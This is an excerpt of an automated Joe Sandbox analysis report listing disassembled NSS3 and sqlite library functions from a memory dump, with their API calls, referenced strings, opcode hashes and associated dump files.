CERT_DecodeAVAValue.NSS3(?,?,6CA90A2C), ref: 6CA90E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CA90A2C), ref: 6CA90E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CA90A2C), ref: 6CA90E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CA90A2C), ref: 6CA90E90
free.MOZGLUE(00000000), ref: 6CA90EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CA90A2C), ref: 6CA90ED9

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cc9eef7cdb0b02060d836630d5942ae68cbe63def91cee696269726e6a605028
Instruction ID: 5104931a235d1564d0ea8bd74c3d49bf136462c3b9ae5ff79364bd9bdefed23a
Opcode Fuzzy Hash: cc9eef7cdb0b02060d836630d5942ae68cbe63def91cee696269726e6a605028
Instruction Fuzzy Hash: AB213E76E102845BEF10496A9C47B6B76FFDBC9BC8F1D0035D81C97A02EB70C8D982A1

Function 6CA9AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA9AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CA9AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CA9AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CBB9500), ref: 6CA9AF23

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9AF37

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 415c9a61f3747c1f1b990369ddb864d2011ff4b13bc449c550dc4aea20f2d378
Instruction ID: 2bf6e8d1dfde3bbcd1c85278035819a4cb255222ab21ea5c36c12c4437512c44
Opcode Fuzzy Hash: 415c9a61f3747c1f1b990369ddb864d2011ff4b13bc449c550dc4aea20f2d378
Instruction Fuzzy Hash: C1215AB2D152105BEB008F18DC42B9A7BE5AF8572CF14431AFC199B780EB31C98987A7

Function 6CB1EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB1EE85
realloc.MOZGLUE(D38DCE31,?), ref: 6CB1EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CB1EEC5

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

htonl.WSOCK32(?), ref: 6CB1EEE3
htonl.WSOCK32(00000000,?), ref: 6CB1EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CB1EF01

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 1a8f7ff4b2b299e63a3ae5ec036db0291c3a6b1eb1d8401b5122fd017be5bcd7
Instruction ID: d993ec6d13289219105e119a1ee8c1c7008dcb08ebd404ec9de1abd9cbe3adbd
Opcode Fuzzy Hash: 1a8f7ff4b2b299e63a3ae5ec036db0291c3a6b1eb1d8401b5122fd017be5bcd7
Instruction Fuzzy Hash: 8921E732A042A49FDF509F28DC84B5EB7A4EF49758F148129ED199BE41D730EC15CBE2

Function 6CACEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CACEE49

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CACEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CACEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CACEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CACEEB3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: aaa7aea042df936a419190531c3c5acf4b9e107278341a988fde8fd9dccaa16d
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 4621DBB66002107BEB118E54DC81EAB7768EF49748F080164FD049B341E771DC54C7F1

Function 6CAE5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE5D71), ref: 6CAE5F0A
TlsGetValue.KERNEL32 ref: 6CAE5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CAE5F2F
PR_Unlock.NSS3(890008E8), ref: 6CAE5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CAE5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CAE5F7D

Part of subcall function 6CAE5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CAE5F82,8B4274C0), ref: 6CAE5248
Part of subcall function 6CAE5220: EnterCriticalSection.KERNEL32(0F6CBB0D,?,6CAE5F82,8B4274C0), ref: 6CAE525C
Part of subcall function 6CAE5220: PR_SetError.NSS3(00000000,00000000), ref: 6CAE528E
Part of subcall function 6CAE5220: PR_Unlock.NSS3(0F6CBAF1), ref: 6CAE5299
Part of subcall function 6CAE5220: free.MOZGLUE(00000000), ref: 6CAE52A9

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: cac63ae33c14b22d27865076d7f1d480cb3cf784aacad0b2cd20db4d2a3e6703
Instruction ID: 22fef56f1b4e8dfc8a7ae07d479b79109fe294eccbfcde3a4d2c79eab3436f56
Opcode Fuzzy Hash: cac63ae33c14b22d27865076d7f1d480cb3cf784aacad0b2cd20db4d2a3e6703
Instruction Fuzzy Hash: C321B7B5D002545FDB10AFA8EC41AEEB7B4EF09318F540129E94AA7741EB31A958CBD1

Function 6CA9BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CB1DC29,?), ref: 6CA9BE64

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CB1DC29,?), ref: 6CA9BE78

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CB1DC29,?), ref: 6CA9BE96

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CB1DC29,?), ref: 6CA9BEBB

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CB1DC29,?), ref: 6CA9BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CB1DC29,?), ref: 6CA9BEF3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: c7f657b270941fd17ccff848f8b63582e9c936344154f0596d1f863b4fb7e103
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: DE11B7B1E102195BEB109B65ED46FAE37FCEF41259F140128EE18EB780EB31D949C7A1

Function 6CB23C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB23D3F

Part of subcall function 6CA9BA90: PORT_NewArena_Util.NSS3(00000800,6CB23CAF,?), ref: 6CA9BABF
Part of subcall function 6CA9BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CB23CAF,?), ref: 6CA9BAD5
Part of subcall function 6CA9BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CB23CAF,?), ref: 6CA9BB08
Part of subcall function 6CA9BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB23CAF,?), ref: 6CA9BB1A
Part of subcall function 6CA9BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CB23CAF,?), ref: 6CA9BB3B

PR_EnterMonitor.NSS3(?), ref: 6CB23CCB

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

PR_EnterMonitor.NSS3(?), ref: 6CB23CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB23CF8
PR_ExitMonitor.NSS3(?), ref: 6CB23D15
PR_ExitMonitor.NSS3(?), ref: 6CB23D2E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: d1a06e48f85a54525bd83f7f487716bbf67f90f9bcc967b2aa4f0e1aa52062f2
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: DB1108B5A106906FE7205E65EC417AFB2ECEB11348F500534E51E87B20E736F82EC653

Function 6CAEFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAEFE08

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAEFE1D

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CAEFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CAEFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAEFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CAEFE6F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: cd609e89f1e158cd582865492662a50fa74204a68cef1252dd2bcfec85c200d6
Instruction ID: 10493178084e419d5e5953d7e62977c706db6ed22129c9e02bb7561435d60ab0
Opcode Fuzzy Hash: cd609e89f1e158cd582865492662a50fa74204a68cef1252dd2bcfec85c200d6
Instruction Fuzzy Hash: C511E9B66002016BEB004B54EC40A5B73A8EF5C299F148038F92C97B52E731E995D7D1

Function 6CB9FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CB9FD9E

Part of subcall function 6CB59BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CA81A48), ref: 6CB59BB3
Part of subcall function 6CB59BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA81A48), ref: 6CB59BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CB9FDB9

Part of subcall function 6CA7A900: TlsGetValue.KERNEL32(00000000,?,6CBF14E4,?,6CA14DD9), ref: 6CA7A90F
Part of subcall function 6CA7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA7A94F

PR_Unlock.NSS3 ref: 6CB9FDD4
PR_Lock.NSS3 ref: 6CB9FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CB9FE0D
PR_Unlock.NSS3 ref: 6CB9FE23

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 210dc2ae2d45f4d6432b99d84b5951f5be1c15dbb6ff89a1a2cabbf7ca60b069
Instruction ID: 715153f2e276569d9ba41d38c78773728518b6be5c45ec2afc39dd85bc396cb7
Opcode Fuzzy Hash: 210dc2ae2d45f4d6432b99d84b5951f5be1c15dbb6ff89a1a2cabbf7ca60b069
Instruction Fuzzy Hash: 06017CFAA04691ABDA058F65FC008457B21EB422687194774E87A47BA1E722D929CA82

Function 6CA7AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA7AFDA

Strings

misuse, xrefs: 6CA7AFCE
%s at line %d of [%.10s], xrefs: 6CA7AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CA7AF5C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA7AFC4

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 51977f54b4843a4852d597e0d283da20989f5b1cba62cb2f524840cc954032a9
Instruction ID: 9bc6a2ac496cf69b2238c80ecf327973d97031e8ce6b51278b9f076225aef3f9
Opcode Fuzzy Hash: 51977f54b4843a4852d597e0d283da20989f5b1cba62cb2f524840cc954032a9
Instruction Fuzzy Hash: B691D1B9B002159FDB14CF69C854AAEB7F2BF45314F1985A8E865ABB91C334EC41CB70

Function 6CADFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CADFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CADFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CADFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CADFDDE

Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8821
Part of subcall function 6CAE8800: TlsGetValue.KERNEL32(?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE883D
Part of subcall function 6CAE8800: EnterCriticalSection.KERNEL32(?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8856
Part of subcall function 6CAE8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAE8887
Part of subcall function 6CAE8800: PR_Unlock.NSS3(?,?,?,?,6CAF085A,00000000,?,6CA98369,?), ref: 6CAE8899

Strings

pkcs11:, xrefs: 6CADFC4F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 1e55aeff4799a901b027bac58460eb2e6b6e7b86843ee2a5fa0d2aac07372965
Instruction ID: f14f118f915c83f18a8e709cec92f053ccca9e0095a72e6f71effe95e7fecb2f
Opcode Fuzzy Hash: 1e55aeff4799a901b027bac58460eb2e6b6e7b86843ee2a5fa0d2aac07372965
Instruction Fuzzy Hash: 0B51F4B5A012619BEB008F69ED44B9B3375AF4435CF1A002DDD985BB51EB30F998CB92

Function 6CA1BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CA1BE02

Part of subcall function 6CB49C40: memcmp.VCRUNTIME140(?,00000000,6CA1C52B), ref: 6CB49D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1BE9F

Strings

database corruption, xrefs: 6CA1BE93
%s at line %d of [%.10s], xrefs: 6CA1BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1BE89

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
